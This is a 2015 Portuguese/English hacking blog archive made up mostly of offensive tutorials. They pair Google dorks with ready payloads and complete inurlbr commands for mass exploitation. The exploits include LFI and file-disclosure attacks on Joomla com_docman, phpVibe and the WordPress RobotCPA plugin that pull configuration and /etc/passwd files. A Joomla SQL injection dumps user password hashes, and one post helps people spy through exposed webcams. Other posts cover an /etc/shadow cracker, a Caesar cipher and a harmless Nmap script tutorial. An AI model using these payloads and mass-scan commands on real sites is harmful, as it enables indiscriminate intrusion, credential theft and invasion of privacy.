Parceiro: Camisetas Hacker

Camisetas para Nerds & Hackers

quarta-feira, 15 de julho de 2015

Joomla docman Component 'com_docman' Full Path Disclosure(FPD) & Local File Disclosure/Include(LFD/LFI)

Exploring component of Joomla cms


# Joomla docman Component 'com_docman' Full Path Disclosure(FPD) & Local File Disclosure/Include(LFD/LFI) # CWE: CWE-200(FPD) CWE-98(LFI/LFD) # Risk: High # Author: Hugo Santiago dos Santos # Contact: hugo.s@linuxmail.org # Date: 13/07/2015 # Vendor Homepage: http://extensions.joomla.org/extension/directory-a-documentation/downloads/docman https://www.exploit-db.com/exploits/37620/


# Joomla docman Component 'com_docman' Full Path Disclosure(FPD) & Local File Disclosure/Include(LFD/LFI)
# CWE: CWE-200(FPD) CWE-98(LFI/LFD)
# Risk: High
# Author: Hugo Santiago dos Santos
# Contact: [email protected]
# Date: 13/07/2015
# Vendor Homepage: http://extensions.joomla.org/extension/directory-a-documentation/downloads/docman
https://www.exploit-db.com/exploits/37620/

There is a get parameter untreated in the application "file=" which enables download files from the server.

Google Dork:
inurl:"/components/com_docman/dl2.php"

POC:
http://www.site.com/components/com_docman/dl2.php?archive=0&file=base64([LDF])

Internment such an application must use the native function of php base64_decode to access your files.

string base64_decode ( string $data [, bool $strict = false ] );
more http://php.net/manual/en/function.base64-decode.php

The application uses crypt 64 then we should do the same to get the server files.

injection string:
../../../../../../../target/www/configuration.php <= Not Ready

encoded string:

Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA== <= Ready !

Example
http://www.site.com/components/com_docman/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA==  <= Ready !

Using inurlbr scanner for mass exploitation:
 Download script: https://github.com/googleinurl/SCANNER-INURLBR
- Creating our command

SET DORK:
--dork 'inurl:"/components/com_docman/dl2.php"'

SET OUTPUT FILE:
 -s dl2.txt 

SET EXPLOIT GET
To encode our injection string we use a ineterna function of inurlbr script.
 base64 Encrypt values in base64.
     Example: base64({value})
     Usage:    base64(102030)
     Usage:
      --exploit-get 'user?id=base64(102030)'
  URL with inject get:
  http://www.target.us/user?id=MTAyMDMw
Use:
--exploit-get '/dl2.php?archive=0&file=base64(../../../../../../../target/www/configuration.php)'

OR USE SITE ENCODER: https://www.base64encode.org/
Use:
--exploit-get '/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA=='

SET FILTER 
Filter results in unique domains.
--unique

SET VALIDATION
Valid results based on your return http code.
      Example: --ifcode {ifcode}
      Usage:    --ifcode 200

COMPLETE COMMAND:
php inurlbr.php --dork 'inurl:"/components/com_docman/dl2.php"' -s dl2.txt  --exploit-get '/dl2.php?archive=0&file=base64(../../../../../../../target/www/configuration.php)'  --unique --ifcode 200

OR

php inurlbr.php --dork 'inurl:"/components/com_docman/dl2.php"' -s dl2.txt  --exploit-get '/dl2.php?archive=0&file=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdGFyZ2V0L3d3dy9jb25maWd1cmF0aW9uLnBocA=='  --unique --ifcode 200


Remediation:
The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
https://www.owasp.org/index.php/Full_Path_Disclosure

segunda-feira, 13 de julho de 2015

phpVibe ALL versions LFD vulnerability Exploring with inurlbr

LFD exploiting vulnerability in phpvibe

PHPVibe - A php video script built for sharing video and media. PHPVibe video sharing cms: php video embed and video upload script, ffmpeg video conversion, Youtube,Vine
PHPVibe - A php video script built for sharing video and media. PHPVibe video sharing cms: php video embed and video upload script, ffmpeg video conversion, Youtube,Vine

# Exploit Title: phpVibe ALL versions LFD vulnerability
# Google Dork: "powered by phpvibe"
# Date: 2015/07/13 (july 13th)
# Exploit Author: ali ahmady -- Iranian Security Researcher (snip3r_ir[at]hotmail.com)
# Vendor Homepage: http://www.phpvibe.com/
# Software Link: http://get.phpvibe.com/
# Version: All versions
# Tested on: linux
http://0day.today/exploit/23877

Vulnerable file:
stream.php

POC:
http://target.tld/stream.php?file=../vibe_config.php@@media
http://target.tld/stream.php?file=TGk0dmRtbGlaVjlqYjI1bWFXY3VjR2h3UUVCdFpXUnBZUT09

Code:
$token = htmlspecialchars(base64_decode(base64_decode($_GET["file"])));

File parameter has no validation and sanitization!
exploition can be performed by adding "@@media" to the file name and base64 it two times as below (no registration needed).
With simple request can get access to the database configuration file Mysql.

Example:
curl  'http://TARGET/stream.php?file=TGk0dmRtbGlaVjlqYjI1bWFXY3VjR2h3UUVCdFpXUnBZUT09'

OUTPUT PRINT:
 Example: curl  'http://TARGET/stream.php?file=TGk0dmRtbGlaVjlqYjI1bWFXY3VjR2h3UUVCdFpXUnBZUT09'

Using inurlbr scanner for mass exploitation:
 Download script: https://github.com/googleinurl/SCANNER-INURLBR

- Creating our command

SET DORK:
--dork '"powered by phpvibe"'

SET OUTPUT FILE:
 -s telefone.txt 

SET EXPLOIT GET
--exploit-get '/stream.php?file=TGk0dmRtbGlaVjlqYjI1bWFXY3VjR2h3UUVCdFpXUnBZUT09'

SET FILTER 
Filter results in unique domains.
--unique 

SET VALIDATION
Valid results based on your return http code. 
      Example: --ifcode {ifcode}
      Usage:    --ifcode 200

COMPLETE COMMAND:
php inurlbr.php --dork '"powered by phpvibe"' -s telefone.txt  --exploit-get '/stream.php?file=TGk0dmRtbGlaVjlqYjI1bWFXY3VjR2h3UUVCdFpXUnBZUT09' --unique --ifcode 200

OUTPUT PRINT:

Solution:
Improving validation of parameters passed to the application.

segunda-feira, 6 de julho de 2015

Joomla S5 Clan Roster com_s5clanroster SQL Injection exploit

EXPLOIT MASS Joomla  - com_s5clanroster

USE INURLBR

In this tutorial we will use the inurlbr tool to find targets and then inject our string of exploration, We will use internal functions of inurlbr script to convert injection string in hexadecimal.  The com_s5clanroster compenet has a SQL injection flaw in their GET parameter "id", This article is based on the script written by the hacker TheLooper (script), Where injected successfully is possible to have access to the target server database information.

In this tutorial we will use the inurlbr tool to find targets and then inject our string of exploration, We will use internal functions of inurlbr script to convert injection string in hexadecimal.

The com_s5clanroster compenet has a SQL injection flaw in their GET parameter "id", This article is based on the script written by the hacker TheLooper (script), Where injected successfully is possible to have access to the target server database information.

DORK:
inurl:"index.php?option=com_s5clanroster"

SQL INJECTION:
%27+/*!50000UnIoN*/+/*!50000SeLeCt*/+group_concat(username,0x3a,password),222+from+jos_users--%20-

POC:
http://www.target.gov.br/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null{SQL INJECTION}

With access to this information we put together our command for mass exploitation.
Let's use the scanner inurlbr: 
http://github.com/googleinurl/SCANNER-INURLBR

SET DORK:
--dork 'inurl:"index.php?option=com_s5clanroster"'

SET FILE OUTPUT:
-s vuln.log

SET TIPE VALIDATION:
-t 3
       3   - The third type combine both first and second types:
              Then, of course, it also establishes connection with the exploit through the get method
              Demo: www.target.com.br{exploit}


SET EXPLOIT REQUEST - GET:
--exploit-get {YOU_GET}

Before setting the exploit we get to manipulate its string, for that we use a domestic function of inurlbr scanner so passes a validation string within the SQL injection to be able to separate vulnerable targets.

Internal function - Converting strings in hexadecimal
 hex Encrypt values in hex.
     Example: hex({value})
     Usage:   hex(102030)
     Usage:   --exploit-get 'user?id=hex(102030)'
     Result inject:
     http://www.target.gov.br/user?id=313032303330


--exploit-get '/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null%27+/*!50000UnIoN*/+/*!50000SeLeCt*/+group_concat(0xhex(inurlbr_vuln),username,password,0xhex(<br>)),222+from+jos_users--%20-'

hex(inurlbr_vuln) = 696e75726c62725f76756c6e 
hex(<br>) = 3c62723e
Example injection:
http://www.target.gov.br/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null%27+/*!50000UnIoN*/+/*!50000SeLeCt*/+group_concat(0x696e75726c62725f76756c6e,username,password,0x3c62723e),222+from+jos_users--%20-'

SET STRING VALIDATION:
Specify the string that will be used on the search script:
Example: -a {string}
Usage:   -a '<title>hello world</title>'
If specific value is found in the target he is considered vulnerable.
Setting:   -a 'inurlbr_vuln'
Let's validate the string "inurlbr_vuln" as she passed within the SQLI exploit, if such value appear on our target was successfully injected.
SET STRING VALIDATION: Specify the string that will be used on the search script: Example: -a {string} Usage:   -a '<title>hello world</title>' If specific value is found in the target he is considered vulnerable. Setting: -a 'inurlbr_vuln' Let's validate the string "inurlbr_vuln" as she passed within the SQLI exploit, if such value appear on our target was successfully injected.

COMMAND FULL:
php inurlbr.php --dork 'inurl:"index.php?option=com_s5clanroster"' -s vuln.log -t 3 --exploit-get '/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null%27+/*!50000UnIoN*/+/*!50000SeLeCt*/+group_concat(0xhex(inurlbr_vuln),username,password,0xhex(<br>)),222+from+jos_users--%20-'
-a 'inurlbr_vuln'

PRINT PROCESS:
COMMAND FULL: php inurlbr.php --dork 'inurl:"index.php?option=com_s5clanroster"' -s vuln.log -t 3 --exploit-get '/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null%27+/*!50000UnIoN*/+/*!50000SeLeCt*/+group_concat(0xhex(inurlbr_vuln),username,password,0xhex(<br>)),222+from+jos_users--%20-'  PRINT PROCESS:

Cifra de César

  #Cifra de César em Python


   Neste ultimo fim de semana, eu estava pesquisando sobre uma organização chamada Cicada 3301 que tem como principal objetivo o recrutamento de usuários altamente inteligentes em todo o mundo para um objetivo totalmente desconhecido. Uma espécie de (quebra-cabeça, desafio, enigma) ou como você quiser chamar era o método de recrutamento da Cicada 3301 (Mas informações). Pesquisando sobre os tipos de desafios que a cicada utilizava, um deles era codificação de mensagens usando a clássica Cifra de César (Júlio César a usava para passar informações confidenciais nos tempos de Roma).     A Cifra de César era basicamente o seguinte, Era a substituição das letras da mensagem a ser criptografada por seus sucessores no alfabeto de acordo com a sua chave.

 Eae seus putos, jh00n aqui novamente com vocês.

   Neste ultimo fim de semana, eu estava pesquisando sobre uma organização chamada Cicada 3301 que tem como principal objetivo o recrutamento de usuários altamente inteligentes em todo o mundo para um objetivo totalmente desconhecido. Uma espécie de (quebra-cabeça, desafio, enigma) ou como você quiser chamar era o método de recrutamento da Cicada 3301 (Mas informações). Pesquisando sobre os tipos de desafios que a cicada utilizava, um deles era codificação de mensagens usando a clássica Cifra de César (Júlio César a usava para passar informações confidenciais nos tempos de Roma).

   A Cifra de César era basicamente o seguinte, Era a substituição das letras da mensagem a ser criptografada por seus sucessores no alfabeto de acordo com a sua chave.

  •  Criptografando
            Chave 3
            Alfabeto: "abcdefghijklmnopqrstuvwxyz"
            Mensagem a ser criptografada: "aka"

            Neste caso você conta 3(Chave) casas a frente das letras "a","k","a" ficando assim: dnd.
  •  Descriptografando
            Chave 3
            Mensagem a ser descriptografada: "dnd"

            Funciona basicamente ao contrario você só ira precisar da chave, neste caso você conta 3 casa
           para trás retornando a mensagem original: aka.


    Então decidir fazer um programa em Python que encripta  e decripta frases utilizando a Cifra de César.
https://github.com/jh00nbr/Python/blob/master/cifradecesar.py

Looking webcam

Big Brother small

Human Everybody is curious and likes to eavesdrop on other people's lives, I created this little tutorial to help curisos deem webcans.
We will use simple techniques of Dorking and strings of validation within the inurlbr scanner.

DORK 1
inurl:"ViewerFrame?Mode=Refresh" & " Image Size" & intitle:"Network Camera"

 Human Everybody is curious and likes to eavesdrop on other people's lives, I created this little tutorial to help curisos deem webcans. We will use simple techniques of Dorking and strings of validation within the inurlbr scanner.  DORK 1 inurl:"ViewerFrame?Mode=Refresh" & " Image Size" & intitle:"Network Camera"

More search strings

Open webcam...


Now let's search mass webcam with the help of inurlbr scanner.

CAMMAND INURLBR 

SET DORK:
--dork 'inurl:"ViewerFrame?Mode=Refresh" & " Image Size" & intitle:"Network Camera"' 

SET OUTPUT:
-s can.log 

SET LEVEL TESTS STRINGS:
-t
   2 - The second type tries to valid the error defined by: -a='VALUE_INSIDE_THE _TARGET'

SET STRING TO BE SOUGHT WITHIN EACH TARGET:
-a 'Network Camera'
or
-a '<title>Network Camera'

this parameter will enter into the URL and validate if there is the desired string.
Another example of validation
-a 'Resolution='
Recommend using validation -a 'Resolution=' All webcam should set a resolution and not necessarily a title.. This parameter will enter into the URL and validate if there is the desired string.

Recommend using validation -a 'Resolution=' All webcam should set a resolution and not necessarily a title.
This parameter will enter into the URL and validate if there is the desired string.

Command full:
php inurlbr.php --dork 'inurl:"ViewerFrame?Mode=Refresh" & " Image Size" & intitle:"Network Camera"' -s can.log -t 2 -a 'Resolution=' 

PRINT OUTPUT SCANNER INURLBR VALIDATION:
Command full: php inurlbr.php --dork 'inurl:"ViewerFrame?Mode=Refresh" & " Image Size" & intitle:"Network Camera"' -s can.log -t 2 -a 'Resolution='   PRINT OUTPUT SCANNER INURLBR VALIDATION:

OUT PUT TERMINAL VIDEO:

More dorsk webcan.

domingo, 5 de julho de 2015

Tool lfiINURL - exploring Local File Inclusion

lfiINURL
Tool Description

The script runs tests searching for the directory that contains the password file server / directory traversal Exemple:
Tool Description  The script runs tests searching for the directory that contains the password file server / directory traversal Exemple:

http://target.br/file.php?open=/etc/passwd
http://target.br/file.php?open=../etc/passwd
http://target.br/file.php?open=../../etc/passwd
http://target.br/file.php?open=../../../etc/passwd
http://target.br/file.php?open=../../../../etc/passwd

AUTOR:        googleINURL
EMAIL:        [email protected]
Blog:         http://blog.inurl.com.br
Twitter:      https://twitter.com/googleinurl
Fanpage:      https://fb.com/InurlBrasil
Pastebin      http://pastebin.com/u/Googleinurl
GIT:          https://github.com/googleinurl
PSS:          http://packetstormsecurity.com/user/googleinurl
YOUTUBE:      http://youtube.com/c/INURLBrasil
PLUS:         http://google.com/+INURLBrasil

Vulnerability Description

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts,we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

In successful cases If the above mentioned conditions are met, an attacker would see something like the following:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash

Download tool lfiINURL
https://github.com/googleinurl/lfiINURL

COMMAND EXPLOIT --help

   -t : SET TARGET.
   -c : COUNT DIR.
        ex: -c   3 = /etc/passwd, ../etc/passwd, ../../etc/passwd ...
   Execute:
                 php lfiINURL.php -t target.br/index.file?= -c 50

Demonstration execution
Demonstration execution

USE SCANNER INURLBR MASS EXPLOIT COMMAND EXEMPLE
Download scanner inurlbr 1.0
https://github.com/googleinurl/SCANNER-INURLBR

inurlbr.php --dork 'br+index.p=' -s vull.txt -q all --command-all 'URL="_TARGETFULL_&index.p=" && php lfiINURL.php -t $URL -c 10'

inurlbr.php --dork 'include=' -s vull.txt -q all --command-all 'URL="_TARGETFULL_&include=" && php lfiINURL.php -t $URL -c 10'

inurlbr.php --dork 'cn+page=' -s vull.txt -q all --command-all 'URL="_TARGETFULL_&page=" && php lfiINURL.php -t $URL -c 10'

inurlbr.php --dork 'cn+page=' -s vull.txt -q all --command-all 'URL="_TARGETFULL_&page=" && php lfiINURL.php -t $URL -c 10'

# OBS USE UNIX

Demonstration execution xpl + inurlbr
Demonstration execution xpl + inurlbr


References
[1] https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
[2] http://www.wikipedia.org/wiki/Local_File_Inclusion
[3] https://github.com/googleinurl/SCANNER-INURLBR#---definindo-comando-externo

sexta-feira, 3 de julho de 2015

Jameh - Brute Force Hash passwords /etc/shadow

Jameh - Brute Force

Jameh, who actually writes and reads 'Jame' which is the Tupi Guarani means hidden, mysterious, aims to conduct a brute-force hashed passwords contained in the / etc / shadow, passing the salt and hash of the encrypted password he tries to break through the dictionary password. Jameh was inspired by the tool made by Ricardo Longatto done in C loncrack  to perform a brute-force passwords in hash staying in the / etc / shadow.

Jameh, who actually writes and reads 'Jame' which is the Tupi Guarani means hidden, mysterious, aims to conduct a brute-force hashed passwords contained in the /etc /shadow, passing the salt and hash of the encrypted password he tries to break through the dictionary password.

Creator
Danilo Vaz - UNK
[email protected]
http://unk-br.blogspot.com
https://twitter.com/unknownantisec
http://github.com/danilovazb

Jameh was inspired by the tool made by Ricardo Longatto done in C loncrack  to perform a brute-force passwords in hash staying in the /etc/shadow.

REQUERIMENTS

Import:
threading
time
crypt
argparse
sys
subprocess

permission       Reading & Writing
User                root privilege, or is in the sudoers group
Operating system    LINUX
Python              2.7


INSTALL
git clone http://github.com/danilovazb/jameh

HELP
usage:
jameh.py [-h] [-t 10] -f word_list.txt -s '$6$DgAOLzvU' -ha         '$xw5oqFEZw30SSCdgD9KOiK2BG1J.O135BowUgdsUZB3ErEeZii6s1vC07BcBoPY06iNcJpxhQYTwzBpjVj7oq.'

optional arguments:
  -h, --help        show this help message and exit
  -t 10, --threads 10
                    Threads
  -f word_list.txt, --file word_list.txt
                    Opens file with passwords
  -s '$6$DgAOLzvU', --salt '$6$DgAOLzvU'
                    Salt, '$6$DgAOLzvU'
  -ha '$xw5oqFEZw30SSCdgD9KOiK2BG1J.O135BowUgdsUZB3ErEeZii6s1vC07BcBoPY06iNcJpxhQYTwzBpjVj7oq.', --hash '$xw5oqFEZw30SSCdgD9KOiK2BG1J.O135BowUgdsUZB3ErEeZii6s1vC07BcBoPY06iNcJpxhQYTwzBpjVj7oq.'
                    hash, '$xw5oqFEZw30SSCdgD9KOiK2BG1J.O135BowUgdsUZB3ErEeZii
                    6s1vC07BcBoPY06iNcJpxhQYTwzBpjVj7oq.'

EXAMPLE:
Password: s3nh42015!@#

~# cat /etc/shadow
root:!:16440:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
pulse:*:16273:0:99999:7:::
danilo:$6$DgAOLzvU$Mt0WllW7AFJt5eFk0HPzjQNes/vvPkHaVmPIaWEb7K64uayPJ3CrEW8gjlBinh9Dzqj4RZXfRAN45XxrpWYjX.:16440:0:99999:7:::

COMMAND:
~# python jameh.py --file wl.txt --threads 10 --salt '$6$DgAOLzvU' --hash '$Mt0WllW7AFJt5eFk0HPzjQNes/vvPkHaVmPIaWEb7K64uayPJ3CrEW8gjlBinh9Dzqj4RZXfRAN45XxrpWYjX.'


Ref:

quarta-feira, 24 de junho de 2015

WordPress RobotCPA Plugin V5 - Local File Inclusion - MASS EXPLOIT INURLBR

Exploring theme Plugin RobotCPA V5 CMS wordpress

Exploit Title: Wordpress Plugin RobotCPA V5 - Local File Include Exploit Author: T3N38R15 Vendor Homepage: http://robot-cpa.good-info.co/ Version: 5V Tested on: Windows (Firefox) / Linux (Firefox) Acess: https://www.exploit-db.com/exploits/37252/  The affected file is f.php and the get-parameter "l" is vulnerable to local file inclusion. We just need to base64 encode our injection.

Exploit Title: Wordpress Plugin RobotCPA V5 - Local File Include
Exploit Author: T3N38R15
Vendor Homepage: http://robot-cpa.good-info.co/
Version: 5V
Tested on: Windows (Firefox) / Linux (Firefox)
Acess: https://www.exploit-db.com/exploits/37252/


The affected file is f.php and the get-parameter "l" is vulnerable to local file inclusion.
We just need to base64 encode our injection.

POC:

string exploit:
php://filter/resource=./../../../wp-config.php
base64: cGhwOi8vZmlsdGVyL3Jlc291cmNlPS4vLi4vLi4vLi4vd3AtY29uZmlnLnBocA==

string exploit: 
file:///etc/passwd
base64: 
ZmlsZTovLy9ldGMvcGFzc3dk

Exemple Injetion:
http://domain.com/wp-content/plugins/robotcpa/f.php?l={STRING_BASE64_XPL}

Mass exploitation with inurlbr
using get exploration parameters and scanner internal encoder

Exemple:
--exploit-get {you_get}
--exploit-get  "&index.php?id=10'´0x27"


base64 Encrypt values in base64.
     Example: base64({value})
     Usage:   base64(102030)
     Usage:   --exploit-get 'user?id=base64(102030)'

Let's use:
--exploit-get "&l=base64(file:///etc/passwd)"
or
--exploit-get "&l=base64(php://filter/resource=./../../../wp-config.php)"

Dork:
inurl:"/wp-content/plugins/robotcpa/"
inurl:"plugins/robotcpa/f.php?l="

Complete command
php inurlbr.php --dork 'inurl:"plugins/robotcpa/f.php?l="' --exploit-get "&l=base64(file:///etc/passwd)" -s vuln.txt -q 1,2,3,64

Internal validation script inurlbr

Exploring the server password file...

LOCAL FILE INCLUSION
Local File Inclusion (also known as LFI) is the process of including  files, that are already locally present on the server, through the  exploiting of vulnerable inclusion procedures implemented in the  application. 
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion
$validation['LOCAL-FILE-INCLUSION-01'] = '/root:/';
$validation['LOCAL-FILE-INCLUSION-02'] = 'root:x:0:0:';
$validation['LOCAL-FILE-INCLUSION-03'] = 'mysql:x:';
Finding any of these values the script alert as vulnerable.
Exploring the server wp-config.php file...

CMS WORDPRESS
As the name suggests, if the web application doesn’t check the file name required by the user, any malicious user can exploit this vulnerability to download sensitive files from the server.
Arbitrary File Download vulnerability file wp-config.php
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
http://www.acunetix.com/vulnerabilities/web/wordpress-plugin-slider-revolution-arbitrary-file-disclosure
$validation['CMS-WORDPRESS-01'] = "define('DB_NAME'";
$validation['CMS-WORDPRESS-02'] = "define('DB_USER'";
$validation['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'";
$validation['CMS-WORDPRESS-04'] = "define('DB_HOST'";
Finding any of these values the script alert as vulnerable.

OUTPUT: 

Download:
http://github.com/googleinurl/SCANNER-INURLBR

sábado, 20 de junho de 2015

Nmap Scripting Engine (NSE) - Escrevendo o meu primeiro script



                           
Introdução


O Nmap Scripting Engine (NSE) é um dos recursos mais poderosos e flexíveis do Nmap. Ele permite aos usuários escrever (e partilhar) scripts simples para automatizar uma ampla variedade de tarefas de rede. Esses scripts são executados em paralelo com a velocidade e eficiência que se espera do Nmap. Os usuários podem contar com a crescente e diversificada base de dados de scripts distribuídos com o Nmap, ou escrever o seu próprio para atender às necessidades personalizadas, os scripts Nmap Scripting Engine são implementados usando linguagem de programação Lua, Nmap API e um número de realmente poderosas Bibliotecas NSE.
LUA: Lua Tutorials - www.dev-hq.net   NMAP API: Nmap API   NSEDOC: nsedoc (nse)


Os scripts NSE são (pack) em diferentes categorias:
auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe,vuln
configuando o nosso script NSE dentro de uma destas categorias permite-nos chama-lo a ele e todos
os scripts dentro dessa mesma categoria usando a 'flag' (--script <categoria> <target>). o seguinte
exemplo "irá correr o nosso script e todos que se encontrarem dentro da categoria 'discovery'"
exemplo: nmap -sS -Pn -p 80 --script discovery <target>


Os scripts NSE são divididos em 4 secções:
O 'HEAD' contém meta-dados que descreve a funcionalidade do modulo, autor, impacto, categoria e outros dados descritivos.
As 'DEPENDENCIES' (bibliotecas lua necessarias) ao uso da API de programação do nmap
A 'RULE SECTION' define as condições necessárias para o script executar. Esta secção deve conter pelo menos uma função desta lista: portrule, hostrule, prerule, postrule. Para os fins deste tutorial (e a maioria dos scripts), vou concentrar-se no portrule que pode executar verificações sobre ambas as propriedades de host e porta antes de correr o script. No script abaixo, portrule se aproveita da API do nmap para verificar se há alguma porta http aberta para executar os commands da secção 'the action section'.
A 'ACTION SECTION' define a lógica do script, Na tradição de K&R (kernighan & ritchie) eu vou simplesmente dar a saída "Olá, mundo!" para qualquer porta aberta http usando a API 'return' para fazer o output.
           


                            

hello.nse

Vamos começar com um script que simplesmente irá imprimir "hello world" para todas as portas HTTP encontradas abertas.
                             Abra um editor de texto e escreva o seguinte trecho em 'hello.nse' em seu diretório home.
  1. ------------------------------ The Head Section ------------------------------
  2. description = [[
  3. Author: r00t-3xp10it
  4. INURLBR AULA - escrevendo o meu primeiro script NSE para o nmap
  5. Some Syntax examples:
  6. nmap --script-help hello.nse
  7. nmap -sS -Pn -80 --script hello.nse <target>
  8. ]]
  9. author = "r00t-3xp10it"
  10. categories = {"discovery", "safe"}
  11. ------------------------------ Dependencies ------------------------------
  12. local http = require "http"
  13. local shortport = require "shortport"
  14. ------------------------------ The Rule Section ------------------------------
  15. portrule = shortport.http
  16. ------------------------------ The Action Section ------------------------------
  17. action = function(host, port)
  18.     return "Hello world!"
  19. end

Descrição: na secção 'head' definimos a categoria como 'discovery and safe', para correr este script e todos contidos na categoria 'discovery' basta executarmos 'nmap -sV -p 80,8080 --script discovery <target>', na secção 'Dependencies' chamamos as bibliotecas 'http & shortport', na secção 'the rule section' vamos nos servir da biblioteca 'shortport' para verificar se o <target> está a correr alguma porta com o protocol 'http' abertas, para podermos executar a secção 'the action section' a 'funtion(host, port)' vai executar o command "hello world!" (display no terminal), P.S. a portrule 'shortport.http' verifica todos os protocolos http based, like: http, https, ipp, http-alt, https-alt, vnc-http, oem-agent, soap, http-proxy, (descrição da biblioteca 'shortport.lua')...
shortport.lua: nmap.org/nmap/nselib/shortport.lua

hello.nse output:
exporte o script para a base de dados do nmap ('/nmap/scripts/' folder)
sudo cp hello.nse /usr/share/nmap/scripts/hello.nse
actualize a base de dados do NSE
sudo nmap --script-updatedb
visualizar a descrição do modulo
sudo nmap --script-help hello.nse
corra o script
sudo nmap -sV -Pn -p 80,443,445,8080 --script hello.nse <target>

file-checker.nse

Vamos construir um Script NSE rápido para verificar se o /path/arquivo/pasta selecionado existe no alvo webserver verificando os codigos de retorno da API do google. "o comportamento padrão será procurar o arquivo robots.txt se não for introduzido um argumento (@args) para procurar um file/path diferente", os '@argumentos' são lançados pela 'flag' --script-args <nome do argumento>=  neste caso vai servir para pedir ao utilizador para entrar um nome diferente do valor default (/robots.txt) a procurar no target, vamos construir o proximo script em 4 secções 'head, dependencies, the rules section, the action section' para mais facil compreenção:


---'THE HEAD SECTION'---
  1. description = [[
  2. Author: r00t-3xp10it
  3. Quick NSE script to check if the selected file/path/folder exists
  4. on target webserver by checking google API return codes.
  5. 'default behavior its to search for robots.txt file'
  6. Some Syntax examples:
  7. nmap -sS -Pn -80 --script file-checker.nse <target>
  8. nmap -sS -Pn -80 --script file-checker.nse --script-args file=/privacy/ <target>
  9. nmap -sS -sV -iR 40 -80 --open --script file-checker.nse --script-args file=/robots.txt
  10. ]]
  11. ---
  12. -- @usage
  13. -- nmap --script-help file-checker.nse
  14. -- nmap -sS -Pn -p 80 --script file-checker.nse <target>
  15. -- nmap -sS -Pn -p 80 --script file-checker.nse --script-args file=/robots.txt <target>
  16. -- nmap -sS -Pn -p 80 --script file-checker.nse --script-args file=/privacy/ 113.38.34.72
  17. -- @output
  18. -- PORT   STATE SERVICE
  19. -- 80/tcp open  http
  20. -- | file-checker: /robots.txt
  21. -- |             : STRING FOUND...
  22. -- |_            : returned 200 OK
  23. -- @args file-checker.file the file/path name to search. Default: /robots.txt
  24. ---
  25. author = "r00t-3xp10it"
  26. license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
  27. categories = {"discovery", "safe"}



---'DEPENDENCIES'---
  1. -- Dependencies (lua libraries)
  2. local shortport = require "shortport"
  3. local stdnse = require ('stdnse')
  4. local http = require "http"



---'THE RULES SECTION'---
  1. -- Port rule will only execute if port 80/tcp http is open
  2. portrule = shortport.port_or_service({80}, "http", "tcp", "open")
  3. -- Seach for string stored in variable @args.file or use default
  4. local file = stdnse.get_script_args(SCRIPT_NAME..".file") or "/robots.txt"
Descrição: a biblioteca 'shortport' vai se servir da função 'port_or_service' para só executar a secção 'the action section' se todos os valores retornarem correctos (port 80 tcp http open), a biblioteca 'stdnse.get_script_args' vai ler o que foi inserido no @argumento (e procurar por essa string) ou então vai procurar pelo valor default (/robots.txt) se não for utilizada a 'flag' '--script-args file=' 
'shortport.port_or_service': nsedoc/lib/shortport.html#port_or_service
'stdnse.get_script_args': nsedoc/lib/stdnse.html#get_script_args



---'THE ACTION SECTION'---
  1. action = function(host, port)
  2. local response = http.get(host, port, file)
  3. -- Check google API return codes to determine if file exists
  4. if (response.status == 200 ) then
  5. return file.."\n            : STRING FOUND...\n            : returned 200 OK\n"
  6. elseif (response.status == 400 ) then
  7. return file.."\n            : BadRequest...\n            : returned 400 BadRequest\n"
  8. elseif (response.status == 302 ) then
  9. return file.."\n            : Redirected...\n            : returned 302 Redirected\n"
  10. elseif (response.status == 401 ) then
  11. return file.."\n            : Unauthorized...\n            : returned 401 Unauthorized\n"
  12. elseif (response.status == 404 ) then
  13. return file.."\n            : STRING NOT FOUND...\n            : returned 404 NOT FOUND\n"
  14. elseif (response.status == 403 ) then
  15. return file.."\n            : Forbidden...\n            : returned 403 Forbidden\n"
  16. elseif (response.status == 503 ) then
  17. return file.."\n            : Service_unavailable...\n            : returned 503 Service_unavailable\n"
  18. else
  19. return file.."\n            : UNDEFINED ERROR...\n            : returned "..response.status.."\n"
  20. end
  21. end
Descrição: a função 'action = function(host, port)' vai executar os commands no <target>, na função seguinte a biblioteca 'http.get' retorna um recurso com um pedido GET, a API NSE  'response.status' vai verificar o codigo de retorno da API do google para determinar se o file existe, e vamos nos servir da API 'return' vai fazer o display do output...
'http.get': nmap.org/nsedoc/lib/http.html#get

file-checker.nse output:

download file-checker.nse: file-checker.nse
exporte o script para a base de dados do nmap ('/nmap/scripts/' folder)
